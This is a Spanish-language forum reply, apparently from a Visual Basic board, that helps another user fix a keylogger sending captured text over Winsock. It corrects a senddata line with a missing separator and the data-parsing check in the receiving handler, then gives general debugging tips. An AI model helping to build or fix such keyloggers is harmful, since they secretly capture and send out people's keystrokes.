hola, échale una ojeada a esto, esta muy bien explicado, luego si te quedas, vienes y consultas, saludos!!

los datos si se estan enviando sabes

Corrige estas lineas

ws1.senddata "Keylogger"& text1.text ' Te falta el separador
'a
ws1.senddata "Keylogger|"& text1.text'Corregido
 

Tambien etas otras en el DataArribal

if data="keylogger" then
     'bla bla bla
end if
 
'Corrige a esto:
 
if vdata(0)="keylogger" then
     'bla bla bla
end if
 

P.D.: Son es esactamente el mismo code o lineas pero te daras unaidea de lo que te plasmo.¡!


Son los dos unicos errores que detecte, igual seria mejor que pusieras el cource, de estos hay sientos en la red llamada internet.

P.D.: antes de enviar algo con Windows imprimiedo y cuando lo resivas con otro Winsock igual imprimelo en un textbox o donde quieras y como quieras el chiste es ver la informacion, te servira para detectar erres ent us datos y como los estas manejando, eso es lo q solo te falta, cuando ya tomes mas Experiencia con BAsic, no digo con WinSock por que lo estas trabajando bien, con Basic y sus sintaxis y detalles bien tus proyectos con hoja y lapiz entenderas mejro tus errores.¡!, Lee un manual, o revisa tu error de LOGICA.¡!